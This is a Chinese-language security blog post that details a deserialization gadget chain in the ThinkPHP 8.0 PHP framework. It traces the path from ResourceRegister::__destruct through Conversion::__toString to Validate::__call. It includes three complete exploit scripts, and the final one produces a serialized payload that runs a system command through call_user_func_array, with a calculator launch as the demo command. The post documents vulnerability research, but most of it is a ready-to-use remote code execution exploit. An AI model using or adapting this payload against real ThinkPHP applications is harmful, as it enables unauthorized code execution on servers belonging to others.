谢谢nivia的宝贵思路!!!
前言
去年暑假,ThinkPHP发布了8.0版本。当时也是尝试着挖掘一条反序列化调用链,相比ThinkPHP 6,不少类做了变动,外加上还做了declare (strict_types = 1);
的限制,让利用变的有些许的难。
最近还是将这个任务重新捡了起来,最后也是成功找到了一条调用链并成功利用,这里就分享成功利用的部分。
环境说明
官方手册:https://doc.thinkphp.cn/v8_0/preface.html
此外ThinkPHP提高了PHP版本要求,PHP版本需要使用PHP8以上。根据官方文档下载好后添加一个反序列化入口就好
反序列化调用链
source点选择
反序列化起点无非是destruct或wakeup方法,wakeup一般用于作对象初始化,多选择destruct方法作为起点
全局一找,发现仅有两个可选
先看第一个,这是应该是给数据库关闭链接用的,定义在Connection抽象类中,该类实现ConnectionInterface接口,__destruct方法调用的是接口中的close方法,这里想利用需要寻找其子类
这两个类的close方法都是些赋值语句,不适合作为source点
所以只能将目光放在ResourceRegister#__destruct方法上
sink点选择
大多框架的反序列化sink点会选择call方法,一般可能的危险操作都在call方法上,当然也要找变量可控较多且可利用的(method大多不可控了)
这里我选的think\Validate#__call,也是ThinkPHP6反序列化调用链中会选的sink,当然应该也可以选别个
调用链挖掘
选好了sink和source,这样就不会像无头苍蝇,在调用链选择上尽量往我们的sink点靠就好啦,这里先做简单理论
先从source点开始跟
registered可控,为false会调用register方法
resource可控,可以看到这里就能尝试去触发call方法,但是getRule方法是无参的,没有办法控制call方法中的$args参数
这里选择往下调用parseGroupRule方法,getRule方法返回值可控,该方法下个人感觉可利用的点不多,但可以利用字符串拼接触发__toString(由于做了类型限制,就不能选择一些字符串处理函数来触发)
rest、last、option都是可控的,这里可以通过字符串拼接的方式触发__toString
下面就是toString的选择,能用的也不多,这里我选的是think\model\concern\Conversion#toString方法
一路走过来会调用appendAttrToArray方法
这里我选择在getRelationWith方法中触发__call方法
重点在$relation以及$visible[$key]的控制,后面再讲诉
那这里自然而然就能调用到__call方法,也就是我们的sink点
这里贴一个我成功利用的调用栈
最后在匿名函数通过call_user_func_array实现代码执行
type也是可控的
构造exp
我喜欢边构造边调试分析,先从source开始
registered默认为false,可以不管,前面我说到了我们要利用parseGroupRule方法,我们需要构建一个think\route\Resource对象
先简单构造一下进行调试
首先$rule不能为null,last来源于$rule分割后的最后一个元素
同理$name和$rest也是,否则都是利用不了滴,还用确保不被continue,不处理$option['only']就行
利用条件$val[1]需要包含<id>
,且$option['var'][$last]不为空,这里就是我们要触发的__toString所对应的对象
于是构造出
<?php
namespace think\route{
class ResourceRegister{
public $resource;
public function __construct($resource) {
$this->resource = $resource;
}
}
class RuleGroup extends Rule{
public function __construct($rule, $router, $option){
parent::__construct($rule, $router, $option);
}
}
class Resource extends RuleGroup{
public function __construct($rule, $router, $option){
parent::__construct($rule, $router, $option);
}
}
abstract class Rule{
public $rest = ['key' => [1 => '<id>']];
public $name = "name";
public $rule;
public $router;
public $option;
public function __construct($rule, $router, $option){
$this->rule = $rule;
$this->router = $router;
$this->option = ['var' => ['nivia' => $option]];
}
}
}
namespace think {
class Route{}
abstract class Model{
protected $append = ['Nivia' => "1.2"];
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{}
}
namespace {
$option = new think\model\Pivot;
$router = new think\Route;
$resource = new think\route\Resource("abc.nivia", $router , $option);
$resourceRegister = new think\route\ResourceRegister($resource);
echo urlencode(base64_encode(serialize($resourceRegister)));
}
往下到think\model\concern\Conversion#__toString方法,个人认为这里比较恶心
中间会调用appendAttrToArray方法,方法中还会调用getRelationWith方法,在这里有机会触发__call方法
关键在$relation和$visible[$key]的控制
首先是$visible变量
可以发现其第一层else语句中的赋值语句满足我们的要求,$this->visible可控,仅要求$val不能是字符串
接下来看$relation,其变量来源于getRelation方法,受key影响
$this->relation可控,key也可控但不为null,可以在第二个return中返回我们想要的值
那就根据上述要求构造下一步exp,其中有一个点是刚才提到的$val不能是字符串,我首先想到的是用数组代替,根据一些相关要求有如下exp
<?php
namespace think\route{
class ResourceRegister{
public $resource;
public function __construct($resource) {
$this->resource = $resource;
}
}
class RuleGroup extends Rule{
public function __construct($rule, $router, $option){
parent::__construct($rule, $router, $option);
}
}
class Resource extends RuleGroup{
public function __construct($rule, $router, $option){
parent::__construct($rule, $router, $option);
}
}
abstract class Rule{
public $rest = ['key' => [1 => '<id>']];
public $name = "name";
public $rule;
public $router;
public $option;
public function __construct($rule, $router, $option){
$this->rule = $rule;
$this->router = $router;
$this->option = ['var' => ['nivia' => $option]];
}
}
}
namespace think {
class Route{}
abstract class Model{
private $relation;
protected $append = ['Nivia' => "1.2"];
protected $visible;
public function __construct($visible, $call){
$this->visible = [1 => $visible];
$this->relation = ['1' => $call];
}
}
class Validate{}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace {
$call = new think\Validate;
$option = new think\model\Pivot(['ls'], $call);
$router = new think\Route;
$resource = new think\route\Resource("abc.nivia", $router , $option);
$resourceRegister = new think\route\ResourceRegister($resource);
echo urlencode(base64_encode(serialize($resourceRegister)));
}
最后也是成功调用到think\Validate#__call方法,方法会调用is方法
$this->type可控,$rule为调用触发__call的方法名,$value其实就是前面的$val
这里会有一个问题就是这里的$value其实就是传给$this->type[$rule]的参数了,但$value前面分析过了它不能是字符串,本来想通过ReflectionFunction#invokeArgs来实现命令执行,且刚好invokeArgs接收一个数组类型的参数,但ReflectionFunction不允许被序列化和反序列化
最后想到可以通过类的toString进行替换,在toString中返回我们想要的命令。
最终exp
<?php
namespace think\route{
class ResourceRegister{
public $resource;
public function __construct($resource) {
$this->resource = $resource;
}
}
class RuleGroup extends Rule{
public function __construct($rule, $router, $option){
parent::__construct($rule, $router, $option);
}
}
class Resource extends RuleGroup{
public function __construct($rule, $router, $option){
parent::__construct($rule, $router, $option);
}
}
abstract class Rule{
public $rest = ['key' => [1 => '<id>']];
public $name = "name";
public $rule;
public $router;
public $option;
public function __construct($rule, $router, $option){
$this->rule = $rule;
$this->router = $router;
$this->option = ['var' => ['nivia' => $option]];
}
}
}
namespace think {
class Route{}
abstract class Model{
private $relation;
protected $append = ['Nivia' => "1.2"];
protected $visible;
public function __construct($visible, $call){
$this->visible = [1 => $visible];
$this->relation = ['1' => $call];
}
}
class Validate{
protected $type;
public function __construct(){
$this->type = ['visible' => "system"];//function
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
public function __construct($visible, $call){
parent::__construct($visible, $call);
}
}
}
namespace Symfony\Component\VarDumper\Caster{
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub{}
}
namespace Symfony\Component\VarDumper\Cloner{
class Stub{
public $value = "open -a Calculator"; //cmd
}
}
namespace {
$call = new think\Validate;
$option = new think\model\Pivot(new Symfony\Component\VarDumper\Caster\ConstStub, $call);
$router = new think\Route;
$resource = new think\route\Resource("abc.nivia", $router , $option);
$resourceRegister = new think\route\ResourceRegister($resource);
echo urlencode(base64_encode(serialize($resourceRegister)));
}
结语
乍一看发现调用链似乎没这么难,但过程还是比较艰辛,中间也遇到很多坑,似乎感觉不可能,也尝试了很多种想法。也是体验了一把挖掘的感觉